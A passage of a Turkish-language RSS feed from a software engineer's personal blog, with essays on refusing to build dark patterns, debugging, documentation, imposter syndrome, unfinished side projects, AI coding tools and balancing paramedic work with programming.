<p>İşte buna "Dark Pattern" (Karanlık Kalıp) deniyor. Kullanıcıyı, farkında olmadan veya istemediği halde belirli bir eylemi yapmaya (veya yapmamaya) yönlendiren kasıtlı arayüz tasarımı hileleridir.</p>
<p>Bu kalıplar her yerde: E-ticaret sitelerinde sepetinize sessizce eklenen "kargo sigortası." Kayıt formlarında varsayılan olarak işaretli gelen "Bana reklam e-postası gönderin" onay kutusu. Çıkış yapmak istediğinizde "Hayır, fırsatları kaçırmak istiyorum" yazan utandırma (Confirmshaming) butonları. Cookie (çerez) izin panellerinde "Hepsini Kabul Et" butonu kocaman ve parlak iken "Reddet" seçeneği gizlenmiş ve ancak üç tıklama sonra ulaşılabilen bir alt menüde.</p>
<p>Bir yazılım mühendisi ve UX (Kullanıcı Deneyimi) hakkında düşünen bir kurucu olarak, bu kalıpları kodlamayı kesinlikle reddediyorum. Kariyerim boyunca birkaç kez müşterilerden "Kullanıcı iptal edemsin diye butonu sakla" veya "Çıkış yapmak isteyenlere üç tane daha popup göster" gibi istekler aldım. Her seferinde aynı cevabı verdim: "Bu etik değil ve ben bunu yapmıyorum."</p>
<p>Bu sadece bir ahlak meselesi değil, aynı zamanda uzun vadeli iş stratejisi açısından da aptalcadır. Kullanıcıyı hileyle tutmak kısa vadede sayıları şişirebilir ama o kullanıcı eninde sonunda gidecektir ve giderken arkanızdan asla iyi konuşmayacaktır. Güvenini kaybettiğiniz bir kullanıcıyı geri kazanmak, yenisini kazanmaktan on kat daha zordur.</p>
<p>İyi bir arayüz, kullanıcının istediği şeyi en az adımda, en net şekilde yapmasını sağlayan arayüzdür. Abonelik iptali tek tıkla olmalı. Kayıt formu sadece gerekli bilgileri istemeli. Çıkış butonu her zaman görünür olmalı. Kullanıcıya saygı duymak, onu manipüle etmekten her zaman daha karlıdır. Çünkü saygı sadakat üretir; manipülasyon ise nefret.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>dark-patterns</category>
            <category>ux</category>
            <category>ethics</category>
            <category>design</category>
            <category>manipulation</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/dark-patternlar-kullaniciyi-kandirmak-icin-tasarlanan-arayuzler-ve-neden-buna-ortak-olmayi-reddediyorum/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Debugging Bir Dedektiflik Sanatıdır: Bir Bug'ı 72 Saat Takip Ettiğim Gece]]></title>
            <link>http://localhost:3000/blog/post/debugging-bir-dedektiflik-sanatidir-bir-bugi-72-saat-takip-ettigim-gece</link>
            <guid>debugging-bir-dedektiflik-sanatidir-bir-bugi-72-saat-takip-ettigim-gece</guid>
            <pubDate>Wed, 23 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir hatayı bulmak için log dosyalarını didik didik eden, ipuçlarını takip eden ve sonunda suçluyu yakalayan bir mühendisin polisiye hikayesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/debugging-bir-dedektiflik-sanatidir-bir-bugi-72-saat-takip-ettigim-gece/thumbnail" alt=""> Her yazılımcının kariyerinde en az bir tane "O Bug" vardır. Sıradan bir hata değildir bu. Günlerce sizi kovalayan, çözüme yaklaştığınızı hissettiğiniz anda tekrar gölgelere karışan, sizi uyutmayan ve kişisel bir düşman haline gelen o tek bir bug.</p>
<p>Benimki bir Cuma gecesi başladı. Müşterinin canlı (production) sisteminde, rastgele zamanlarda ve rastgele kullanıcılarda ortaya çıkan bir hataydı. Kullanıcıların yaklaşık %2'si, belirli bir sayfaya girdiğinde beyaz ekran (white screen of death) görüyordu. Geri kalan %98 ise hiçbir sorun yaşamıyordu. Hata mesajı (error log) ise son derece belirsizdi: "Cannot read property of undefined." Bu mesaj, JavaScript dünyasının "Bir yerlerde bir şeyler yanlış ama nerede olduğunu söylemeyeceğim" şeklindeki klasik işkencesiydi.</p>
<p>İlk refleksim her zaman olduğu gibi hatayı yerel ortamda (localhost) tekrar üretmeye çalışmak oldu. Saatler harcadım. Aynı sayfayı yüzlerce kez yeniledim, farklı tarayıcılar denedim, farklı kullanıcı hesaplarıyla girdim. Hiçbir şey. Bende çalışıyordu. Dünyanın en sinir bozucu cümlesi: "Works on my machine" (Bende çalışıyor).</p>
<p>Cumartesi sabahı, bu işe dedektif gibi yaklaşmam gerektiğine karar verdim. Suç mahallini (production loglarını) incelemeye başladım. Hatanın oluştuğu anları zaman damgalarıyla (timestamp) listeledim. Bir örüntü (pattern) arıyordum. Saatlerce log satırlarını okuduktan sonra ilk ipucunu yakaladım: Hata sadece belirli bir saat aralığında (gece 02:00 ile 04:00 arası) yoğunlaşıyordu. Bu saatler, sistemin arka plan görevlerinin (cron jobs) çalıştığı saatlerdi.</p>
<p>Soruşturma daralmaya başladı. Cron job'ları inceledim ve birinin gece 02:00'de veritabanındaki bazı önbellek (cache) tablolarını temizlediğini buldum. Bu temizlik sırasında, eğer bir kullanıcı tam o anda o sayfadaydaysa, sayfa arka planda silinen bir veriyi çağırıyordu ve "undefined" hatası alıyordu.</p>
<p>Pazar gecesi, yaklaşık 72 saatlik bir iz sürme maratonunun sonunda suçluyu buldum: Tek bir satırlık eksik bir null kontrolü (null check). Bir veri parçası silinmeden önce "Bu veriyi şu anda kullanan biri var mı?" diye kontrol edilmiyordu. Düzeltme tam 8 karakter sürdü: <code>?.</code> (optional chaining operatörü). Üç gün boyunca beni uykusuz bırakan, saçlarımı yolduran, monitöre yumruk attırdığı o devasa sorunun çözümü, 8 karakterlik bir eklentiydi.</p>
<p>O 72 saat bana çok şey öğretti. Debugging, kod yazmaktan çok daha zor ve çok daha önemli bir beceridir. İyi bir debugger olmak, iyi bir dedektif olmaktır. Sabır gerektirir, sistematik düşünce gerektirir ve en önemlisi varsayımlarınızı (assumptions) sürekli sorgulamayı gerektirir. "Bu kısımda sorun olamaz" dediğiniz anda, genellikle sorun tam oradadır. Suçluyu asla küçümsemeyin; bazen en büyük cinayetleri en küçük silahlar işler.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>debugging</category>
            <category>bug-hunting</category>
            <category>detective</category>
            <category>logs</category>
            <category>software-engineering</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/debugging-bir-dedektiflik-sanatidir-bir-bugi-72-saat-takip-ettigim-gece/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Dokümantasyon Yazmak Bir Aşk Mektubudur: Gelecekteki Kendine Not Bırakmak]]></title>
            <link>http://localhost:3000/blog/post/dokumantasyon-yazmak-bir-ask-mektubudur-gelecekteki-kendine-not-birakmak</link>
            <guid>dokumantasyon-yazmak-bir-ask-mektubudur-gelecekteki-kendine-not-birakmak</guid>
            <pubDate>Tue, 22 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kimsenin yazmak istemediği ama herkesin aradığı dokümantasyonun, aslında gelecekteki kendinize bırakılan en değerli hediye olduğu üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/dokumantasyon-yazmak-bir-ask-mektubudur-gelecekteki-kendine-not-birakmak/thumbnail" alt=""> Yazılım mühendisliğinde herkesin nefret ettiği ama herkesin ihtiyaç duyduğu bir şey vardır: Dokümantasyon. Kod yazmak heyecanlıdır, debugging dedektiflik gibidir, deploy yapmak adrenalin verir. Ama dokümantasyon yazmak? O, herkesin "sonra yaparız" deyip asla yapmadığı, sıkıcı ve zahmetli bir iştir.</p>
<p>Altı ay önce yazdığım bir kodu açtığımda o kodun ne yaptığını anlayamadığım anı çok net hatırlıyorum. Kendi yazdığım kod. Kendi kafamdan çıkan mantık. Ve karşımda, hiçbir yorum satırı (comment) olmayan, değişken isimleri anlamsız (x, temp, data2) olan ve neyi neden yaptığı hakkında tek bir ipucu bırakmadığım bir dosya duruyordu. O an kendime çok kızdım ve "Bu kodu yazan adam kim? Ah, benmişim" dediğim anı asla unutmayacağım.</p>
<p>O gün bir şeyi anladım: Dokümantasyon, başkaları için yazılmaz. Dokümantasyon, altı ay sonraki kendiniz için yazılır. O gelecekteki siz, bugünkü bağlamı (context), kararların arkasındaki nedenleri ve o kodun neden böyle yazıldığını tamamen unutmuş olacaktır. Ve o an, geçmişteki kendinizin bıraktığı o küçük not, o açıklama satırı, o README dosyası hayatınızı kurtaracaktır.</p>
<p>Bu yüzden ben dokümantasyona "aşk mektubu" diyorum. Gelecekteki kendinize veya sizden sonra o koda dokunacak olan ekip arkadaşınıza yazdığınız bir mektuptur: "Merhaba, bu kodu şu tarihte, şu nedenle yazdım. Burada X yerine Y kullanmamın sebebi şuydu. Eğer Z'yi değiştirmek istersen, dikkat et çünkü şu servis buna bağımlı."</p>
<p>İyi bir dokümantasyon neye benzer? "Ne" yazdığınızı değil, "neden" yazdığınızı anlatır. Kodun kendisi zaten "ne" yaptığını gösterir. Ama "neden" bu yaklaşımı seçtiğinizi, hangi alternatifleri deneyip elediğinizi ve hangi kısıtlamalar (constraints) altında bu kararı verdiğinizi sadece siz bilirsiniz. Ve bu bilgiyi yazmazsanız, sonsuza kadar kaybolur.</p>
<p>Suku Tech'te dokümantasyon yazmak bir lüks veya opsiyonel bir görev değil, kodun ayrılmaz bir parçasıdır. Pull Request (kod inceleme talebi) açarken, eğer ilgili dokümantasyon güncellenmemişse o PR reddedilir. Bu kuralı ekibe ilk koyduğumda herkes söylendi. "Ama zaman kaybı!" "Ama deadline'a yetişmemiz lazım!" Evet, dokümantasyon yazmak bugün 30 dakikanızı alır. Ama o 30 dakikayı yazmazsanız, altı ay sonra o kodu anlamaya çalışan birileri (veya kendiniz) 3 gün harcayacaktır.</p>
<p>Bir kod deposunun (repository) gerçek kalitesini anlamak istiyorsanız, koduna değil dokümantasyonuna bakın. İyi dokümante edilmiş bir proje, o projenin arkasında düşünen, önemseyen ve gelecekteki insanlara saygı duyan bir ekip olduğunun kanıtıdır. Kodunuz bir gün silinebilir, yeniden yazılabilir. Ama bıraktığınız notlar, bilgi ve bağlam kalıcıdır. Gelecekteki kendinize bugün bir aşk mektubu yazın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>documentation</category>
            <category>code-quality</category>
            <category>software-engineering</category>
            <category>teamwork</category>
            <category>best-practices</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/dokumantasyon-yazmak-bir-ask-mektubudur-gelecekteki-kendine-not-birakmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Imposter Syndrome (Sahtekar Sendromu): Neden Hâlâ 'Yeterli' Olduğuma İnanamıyorum?]]></title>
            <link>http://localhost:3000/blog/post/imposter-syndrome-sahtekar-sendromu-neden-hala-yeterli-olduguma-inanamiyorum</link>
            <guid>imposter-syndrome-sahtekar-sendromu-neden-hala-yeterli-olduguma-inanamiyorum</guid>
            <pubDate>Mon, 21 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Şirket kurmuş, yüzlerce proje teslim etmiş ama hâlâ "yetersiz" hissetmenin utanç verici ama evrensel itirafı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/imposter-syndrome-sahtekar-sendromu-neden-hala-yeterli-olduguma-inanamiyorum/thumbnail" alt=""> Size çok utanç verici bir itirafta bulunacağım. Bir teknoloji şirketi kurdum, onlarca müşteriyle çalıştım, sunucu altyapıları tasarladım, ekipler yönettim, acil tıp eğitimi aldım, ambulansın arkasında hayat kurtardım. Özgeçmişim kağıt üzerinde gayet "yeterli" görünüyor.</p>
<p>Ve ben hâlâ, neredeyse her gün, "aslında hiçbir şey bilmiyorum ve bir gün herkes bunu anlayacak" diye düşünüyorum.</p>
<p>Buna psikolojide "Imposter Syndrome" (Sahtekar Sendromu) deniyor. İlk kez 1978 yılında psikologlar Pauline Clance ve Suzanne Imes tarafından tanımlanan bu sendrom, özellikle yüksek başarı gösteren bireylerde yaygındır. Başarılarınızı şansa, zamanlama, veya başkalarının size olan aşırı güvenine bağlarsınız. Kendi yetkinliğinize asla tam olarak inanamaz ve "gerçek" yüzünüzün bir gün ortaya çıkacağı korkusuyla yaşarsınız.</p>
<p>Teknoloji sektörü bu sendrom için mükemmel bir üreme ortamıdır. Çünkü bu sektörde bilmeniz gereken şeylerin listesi sonsuz, sürekli değişiyor ve herkes sosyal medyada sadece en parlak başarılarını paylaşıyor. Twitter'da (X) 22 yaşında YC'ye kabul edilmiş kurucuları, LinkedIn'de her hafta yeni bir sertifika paylaşan "süper" mühendisleri, GitHub'da binlerce yıldızlı açık kaynak projeler geliştiren dahileri görüyorsunuz. Ve kendi kendinize soruyorsunuz: "Ben neden onlar gibi değilim? Neden benim projelerim o kadar parlak değil?"</p>
<p>Cevap aslında basit ama kabul etmesi çok zor: Onlar da sizin gibi. Onlar da geceleri "Acaba yeterli miyim?" diye düşünüyor. Onlar da bazı sabahlar bilgisayarı açtığında "Bugün herkes benim aslında hiçbir şey bilmediğimi anlayacak" korkusu yaşıyor. Sadece bunu paylaşmıyorlar. Çünkü bu sektörde kırılganlık göstermek, zayıflık olarak algılanıyor.</p>
<p>Benim sendromum özellikle iki dünyamın kesiştiği noktalarda patlar. Yazılım konferanslarında, yanımdaki insanlar karmaşık sistem mimarileri tartışırken "Acaba benim bilgim yeterli mi?" diye içimden geçiririm. Acil tıp eğitimlerinde, diğer öğrenciler klinik vakaları tartışırken "Acaba ben gerçekten hayat kurtarabilecek yetkinlikte miyim?" diye sorguladığım anlar oldu.</p>
<p>Yıllar içinde bu sendromla tamamen barışamadım ama onunla yaşamayı öğrendim. Yapabildiğim en faydalı şey, o korkuyu bastırmak yerine onu bir motivasyon kaynağına dönüştürmek oldu. "Yeterli değilim" düşüncesi beni sürekli öğrenmeye, kendimi geliştirmeye ve asla yerinde saymamaya itiyor. Kibirli olmaktansa şüpheci olmayı tercih ederim. Çünkü kendini "yeterli" gören insan öğrenmeyi bırakır; kendini "yetersiz" hisseden insan ise hayat boyu öğrenci kalır.</p>
<p>Eğer siz de bu satırları okurken "Ben de böyle hissediyorum" diyorsanız, bilin ki yalnız değilsiniz. Dünyadaki en başarılı mühendisler, cerrahlar ve bilim insanları bile aynı şeyi yaşıyor. Sahtekar sendromu, aslında sahtekarların değil; işini gerçekten ciddiye alan, standartları yüksek ve dürüst insanların hastalığıdır. Gerçek sahtekarlar bu sendromu asla yaşamaz çünkü onlar zaten yeterli olduklarına koşulsuz inanırlar.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>imposter-syndrome</category>
            <category>mental-health</category>
            <category>career</category>
            <category>self-doubt</category>
            <category>developer-life</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/imposter-syndrome-sahtekar-sendromu-neden-hala-yeterli-olduguma-inanamiyorum/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Side Project Mezarlığı: Başlayıp Bitiremediğim 47 Projenin Hikayesi]]></title>
            <link>http://localhost:3000/blog/post/side-project-mezarligi-baslayip-bitiremedigim-47-projenin-hikayesi</link>
            <guid>side-project-mezarligi-baslayip-bitiremedigim-47-projenin-hikayesi</guid>
            <pubDate>Sun, 20 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Her yazılımcının GitHub deposunda yarım kalmış projeler vardır. Neden sürekli başlayıp bitiremiyoruz?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/side-project-mezarligi-baslayip-bitiremedigim-47-projenin-hikayesi/thumbnail" alt=""> GitHub profilimde bir itiraf gizli: Private (gizli) repolarımın arasında, tam olarak sayamadığım kadar yarım kalmış proje var. Bir to-do uygulaması (evet, dünyanın milyonuncu to-do uygulaması). Bir kişisel finans takip aracı. Bir Pomodoro zamanlayıcısı. Bir Markdown editörü. Bir CLI aracı. Bir blog motoru (evet, kendi blog motorumu yazacaktım, şu anda başka birinin yazdığı motoru kullanıyorum). Bir hava durumu uygulaması. Bir müzik çalar. Liste böyle uzayıp gidiyor.</p>
<p>Bu projelerin her birinin bir başlangıç hikayesi vardır ve hepsi aynı şekilde başlar: Duş alırken, yürüyüş yaparken veya gece yatağa uzandığımda aklıma "muhteşem" bir fikir gelir. Heyecanlanırım. Hemen yataktan fırlar, terminali açar ve <code>mkdir super-proje &#x26;&#x26; cd super-proje &#x26;&#x26; git init</code> yazarım. İlk gece çılgınlar gibi kodlarım. İkinci gece de devam ederim. Üçüncü gece hızım düşer. Dördüncü gece "yarın devam ederim" derim. Ve o "yarın" asla gelmez.</p>
<p>Yıllarca kendimi bu döngü yüzünden suçladım. "Disiplinsizim", "Tembel", "Hiçbir şeyi bitiremiyorum" diye kendime kızdım. Ta ki bu kalıbın (pattern) arkasındaki psikolojiyi anlayana kadar.</p>
<p>Bir projenin en heyecanlı anı, başlangıcıdır. Boş bir dosyaya ilk satırı yazmak, mimariyi kafanızda kurmak, teknoloji yığınını (tech stack) seçmek... Bu aşama tamamen yaratıcılıktır ve beyniniz sizi dopaminle ödüllendirir. Ancak proje ilerledikçe, o parlak yaratıcılık aşaması yerini sıkıcı detaylara bırakır. Form validasyonları, hata yönetimi (error handling), responsive tasarım, edge case'ler, testler, deployment konfigürasyonları... İşin %20'si fikir ve mimaridir, %80'i ise o çekici olmayan, sıkıcı detaylardır. Ve beyniniz tam o %80'lik kısma girdiğinizde, size yeni ve çok daha parlak bir fikir fısıldar: "Bırak bunu, şu yeni projeye başlasak çok daha havalı olur!"</p>
<p>Bu, nörolojik olarak bir bağımlılık döngüsüdür. Yeni başlangıçların verdiği dopamin patlamasına bağımlı olursunuz ve hiçbir projenin "sıkıcı orta bölümünü" (messy middle) geçemezsiniz.</p>
<p>Bu döngüyü kırmayı öğrenmem yıllarımı aldı. Bugün uyguladığım kural şu: Aklıma yeni bir fikir geldiğinde hemen kodlamaya başlamıyorum. O fikri bir not defterine yazıyorum ve en az bir hafta bekliyorum. Eğer bir hafta sonra hâlâ o fikirle ilgili heyecan duyuyorsam, o zaman başlıyorum. Ve başladığımda, projenin kapsamını (scope) acımasızca küçültüyorum. "Bir müzik çalar" değil, "Sadece bir oynat/durdur butonu olan, tek bir MP3 dosyası çalan uygulama." Bitti. Deploy. Sonra iterasyon (iteration) ile büyütürüm.</p>
<p>Side project mezarlığı her yazılımcının ortak sırrıdır. Utanmayın, ama o mezarlıktan ders çıkarın. Bir projeyi bitirmek, on projeye başlamaktan her zaman daha değerlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>side-projects</category>
            <category>motivation</category>
            <category>productivity</category>
            <category>developer-life</category>
            <category>github</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/side-project-mezarligi-baslayip-bitiremedigim-47-projenin-hikayesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[AI Kodumu Yazıyorsa Ben Ne İş Yapıyorum? Bir Mühendisin Varoluşsal Krizi]]></title>
            <link>http://localhost:3000/blog/post/ai-kodumu-yaziyorsa-ben-ne-is-yapiyorum-bir-muhendisin-varolussal-krizi</link>
            <guid>ai-kodumu-yaziyorsa-ben-ne-is-yapiyorum-bir-muhendisin-varolussal-krizi</guid>
            <pubDate>Sat, 19 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[ChatGPT ve Copilot çağında kendi mesleğinin otomasyona uğramasını canlı canlı izleyen bir yazılımcının iç hesaplaşması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ai-kodumu-yaziyorsa-ben-ne-is-yapiyorum-bir-muhendisin-varolussal-krizi/thumbnail" alt=""> Geçen hafta bir React componenti yazmam gerekiyordu. Basit bir form, birkaç input alanı, bir submit butonu ve temel bir doğrulama (validation) mantığı. Eskiden bu işi yapmak için klavyeye oturup, aklımdaki yapıyı satır satır kodlardım. State yönetimini düşünürdüm, edge case'leri (uç durumları) tek tek ele alırdım, CSS'ini milimetrik ayarlardım. Bu süreç bana zevk verirdi çünkü o boş ekrandan işlevsel bir ürün çıkarmak, kelimenin tam anlamıyla yaratıcılıktı.</p>
<p>Geçen hafta ise oturdum, AI aracıma ne istediğimi üç cümleyle anlattım ve 15 saniye içinde o componenti bana yazdı. Çalışıyordu. Temizdi. Hatta bazı edge case'leri benim aklıma gelmeden önce kendisi halletmişti. Ben de ekrana baktım ve içimde çok garip, tarif etmesi zor bir boşluk hissettim.</p>
<p>O an kendime şu soruyu sordum: "Eğer bu makine benim yaptığım işi benden daha hızlı, daha ucuz ve bazen daha temiz yapabiliyorsa... Ben tam olarak ne iş yapıyorum?"</p>
<p>Bu soru, 2024'ten itibaren dünyadaki her yazılım mühendisinin kafasının içinde sessizce dönen ama çoğunun yüksek sesle sormaya cesaret edemediği bir varoluşsal krizdir. Çünkü bu soruyu sormak, yıllarca emek verdiğiniz, gece gündüz öğrendiğiniz ve kimliğinizin bir parçası haline getirdiğiniz mesleğinizin belki de birkaç yıl içinde tamamen farklı bir şeye dönüşeceğini kabul etmek anlamına gelir.</p>
<p>Uzun süre bu soruyla boğuştuktan sonra kendi cevabımı buldum ve o cevap beni rahatlattı. Şimdi paylaşayım.</p>
<p>AI, kod yazabilir. Evet. Hatta iyi kod yazabilir. Ancak AI, "neyin yazılması gerektiğine" karar veremez. Bir müşterinin belirsiz ve çelişkili isteklerini dinleyip, o kaosun içinden gerçek ihtiyacı süzüp çıkaramaz. "Bu özelliği şimdi yapmamalıyız, önce şu teknik borcu temizlemeliyiz" diyemez. Bir ekibin moralini okuyup, sprint kapsamını (scope) buna göre ayarlayamaz. Ürün stratejisi belirleyemez, mimari trade-off'ları (ödünleşimleri) tartamaz. Yani AI mükemmel bir tuğla ustasıdır ama mimar değildir.</p>
<p>Biz mühendisler, tuğla ören işçiler olarak başladık. Yıllarca elimizle satır satır kod yazdık ve bu bize o temeli verdi. Ancak mesleğimizin geleceği, tuğla örmekte değil; hangi binanın nereye, neden ve nasıl inşa edileceğine karar vermektedir. AI çağında ayakta kalacak mühendis, "en hızlı kod yazan" değil; "neyin kodlanmaması gerektiğini bilen", sistemi bütünsel gören ve insan ihtiyaçlarını teknik çözümlere çevirebilen mühendistir.</p>
<p>Yani hayır, işsiz kalmayacağız. Ama işimiz değişecek. Ve bu değişime direnenler değil, ona uyum sağlayanlar ayakta kalacak. Tıpkı hesap makinesinin icadından sonra matematikçilerin yok olmayıp, daha üst seviye problemlere odaklanması gibi. Biz de artık tuğla örmekten, şehir planlamaya terfi ediyoruz. Şikayet edecek bir şey yok aslında.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>ai</category>
            <category>copilot</category>
            <category>chatgpt</category>
            <category>future-of-work</category>
            <category>software-engineering</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ai-kodumu-yaziyorsa-ben-ne-is-yapiyorum-bir-muhendisin-varolussal-krizi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Kan, Kaos ve Kod: İnsan Bedeninin Karmaşasından Terminalin Steril Dünyasına Kaçış]]></title>
            <link>http://localhost:3000/blog/post/kan-kaos-ve-kod-insan-bedeninin-karmasasindan-terminalin-steril-dunyasina-kacis</link>
            <guid>kan-kaos-ve-kod-insan-bedeninin-karmasasindan-terminalin-steril-dunyasina-kacis</guid>
            <pubDate>Fri, 18 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Saha nöbetlerindeki kanlı ve öngörülemez kaostan sıyrılıp, kodların kurallarla dolu, sessiz ve steril dünyasına sığınmanın psikolojisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kan-kaos-ve-kod-insan-bedeninin-karmasasindan-terminalin-steril-dunyasina-kacis/thumbnail" alt=""> Biyoloji, ne kadar muazzam bir tasarım gibi görünürse görünsün, özünde korkunç bir kaostur. İnsan bedeni o kadar değişkendir ki; aynı hastalığa, aynı travmaya maruz kalan iki farklı insan tamamen farklı tepkiler verebilir. Bir acil tıp nöbetinde, olay yerine vardığınızda neyle karşılaşacağınızı asla bilemezsiniz. Kan, kırık kemikler, çığlıklar, panik halinde sağa sola koşturan akrabalar, siren sesleri ve havadaki o yoğun adrenalin kokusu... Olay yeri (Scene) tamamen düzensiz, kirli ve kelimenin tam anlamıyla "messy" (karmaşık) bir yerdir. Kurallar her saniye esneyebilir, teoriler pratikte çökebilir.</p>
<p>Uzun ve travmatik bir ambulans nöbetinin (genellikle 24 saat süren o uykusuz cehennemin) ardından eve dönüp üniformamı çıkardığımda, hissettiğim o derin zihinsel yorgunluğu atabilmek için meditasyon yapmazdım. Yaptığım şey bilgisayarımı açıp, karanlık, sessiz ve kelimenin tam anlamıyla "steril" olan siyah terminal (IDE) ekranıma bakmaktı.</p>
<p>Dışarıdaki o kanlı ve öngörülemez dünyadan sonra, kod yazmak bana her zaman dünyanın en güçlü terapisi gibi gelmiştir. Çünkü bilgisayar bilimi (Computer Science), biyolojinin tam zıttıdır. Bilgisayarın içinde şans eseri olan hiçbir şey yoktur. Eğer yazdığınız kod "A" değerini üretiyorsa, o kodu bir milyon kez de çalıştırsanız yine "A" değerini üretir. Karşınızda duyguları olmayan, paniklemeyen, size yalan söylemeyen ve sadece verdiğiniz komutları harfiyen uygulayan bir makine vardır.</p>
<p>O siyah ekran, kuralların çok net çizildiği, mantığın (logic) duygulara galip geldiği ve her sorunun mutlaka rasyonel bir çözümünün bulunduğu güvenli bir sığınaktır (Safe Haven). Dışarıdaki hayatta bir kazayı geri alamazsınız, dökülen kanı geri sokamazsınız. Ancak o terminalin içinde, evrenin tanrısı sizsinizdir. Kendi kurallarınızı yazar, kendi dünyanızı inşa eder, beğenmezseniz silip baştan yaparsınız.</p>
<p>Yıllar içinde fark ettim ki, aslında hayatımdaki bu iki zıt uç birbirini mükemmel bir şekilde dengeliyor. Sadece kod yazarak yaşasaydım, muhtemelen dünyanın o acımasız ve dağınık gerçekliğinden kopuk, fazla mekanik bir insan olacaktım. Sadece acil tıpta kalsaydım, o travmaların ağırlığı ve insanların bitmeyen kaosunda boğulup gidecektim.</p>
<p>Biri bana insan olmanın ne kadar kırılgan ve değerli olduğunu öğretti; diğeri ise o kırılganlıktan kaçıp zihnimi dinlendirebileceğim sessiz, steril ve düzenli bir liman sundu. Bugün bir sorunu çözerken, o karmaşanın içinde kaybolmamayı ve terminal ekranının o sessiz dinginliğinde çözüm üretmeyi, tam olarak bu iki dünyanın arasında kurduğum köprüye borçluyum.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>chaos</category>
            <category>escape</category>
            <category>programming</category>
            <category>paramedic</category>
            <category>terminal</category>
            <category>mental-health</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kan-kaos-ve-kod-insan-bedeninin-karmasasindan-terminalin-steril-dunyasina-kacis/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Bir Yazılımcının Tarayıcı Sekmesi Sayısı, Zihinsel Sağlığının En İyi Göstergesidir]]></title>
            <link>http://localhost:3000/blog/post/bir-yazilimcinin-tarayici-sekmesi-sayisi-zihinsel-sagliginin-en-iyi-gostergesidir</link>
            <guid>bir-yazilimcinin-tarayici-sekmesi-sayisi-zihinsel-sagliginin-en-iyi-gostergesidir</guid>
            <pubDate>Thu, 17 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[150 açık sekme, 47 bookmark klasörü ve hâlâ aradığını bulamayan bir mühendisin psikolojik profili.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bir-yazilimcinin-tarayici-sekmesi-sayisi-zihinsel-sagliginin-en-iyi-gostergesidir/thumbnail" alt=""> Bir yazılımcının zihinsel durumunu anlamak istiyorsanız ona nasıl hissettiğini sormayın. Tarayıcısına bakın. O küçücük sekme çubuğundaki kaos, o insanın beyninin anlık bir röntgenidir.</p>
<p>Beş sekme açık olan bir yazılımcı, hayatını kontrol altına almış, Zen durumuna ulaşmış ve muhtemelen yakın zamanda tatilden dönmüş bir insandır. On sekme normal. Yirmi sekme, aktif bir proje üzerinde çalışıyordur. Kırk sekme, biraz stresli ama idare ediyor. Altmış sekme, deadline yaklaşıyor. Seksen sekme, artık hangi sekmenin hangi projeye ait olduğunu ayırt edemiyor. Yüz sekmenin üstünde, sekme başlıkları artık sadece favicon (site ikonu) olarak görünüyor çünkü yazı sığmıyor. Ve yüz elli sekmenin üzerindeyse... O insan ya bir dahi ya da yardıma ihtiyacı var. Genellikle ikincisi.</p>
<p>Bu durumu çok iyi tanıyorum çünkü kendim kronik bir sekme biriktiriciydim. Ve bunun arkasındaki psikolojiyi yıllar içinde çözdüm.</p>
<p>Her açık sekme, aslında beyninizdeki "bunu daha sonra oku", "buna daha sonra bak" veya "bunu unutma" diye ertelediğiniz bir görevin dijital manifestosudur. Bir Stack Overflow sorusu açıktır çünkü "belki lazım olur". Bir Medium makalesi açıktır çünkü "bunu okumalıyım ama şimdi değil". AWS dokümantasyonu açıktır çünkü "daha önce burada bir şey bulmuştum ama hatırlamıyorum neredeydi". YouTube'da bir konferans konuşması açıktır çünkü "bunu izleyeceğim bir gün". O gün asla gelmez ama sekmeyi kapatmaya da cesaretiniz yoktur. Çünkü o sekmeyi kapattığınız an, oradaki bilgiye bir daha asla ulaşamayacakmışsınız gibi bir kayıp hissi yaşarsınız.</p>
<p>Aslında bu bir karar verememe (decision paralysis) ve biriktirme (digital hoarding) sorununun tezahürüdür. Biz yazılımcılar, bilginin her gramının değerli olduğuna inanırız. Her makale, her Stack Overflow cevabı, her GitHub reposu potansiyel olarak gelecekte bir gün işimize yarayabilir. Ve bu "belki lazım olur" düşüncesi, tarayıcımızı da zihnimizi de tıkıyor.</p>
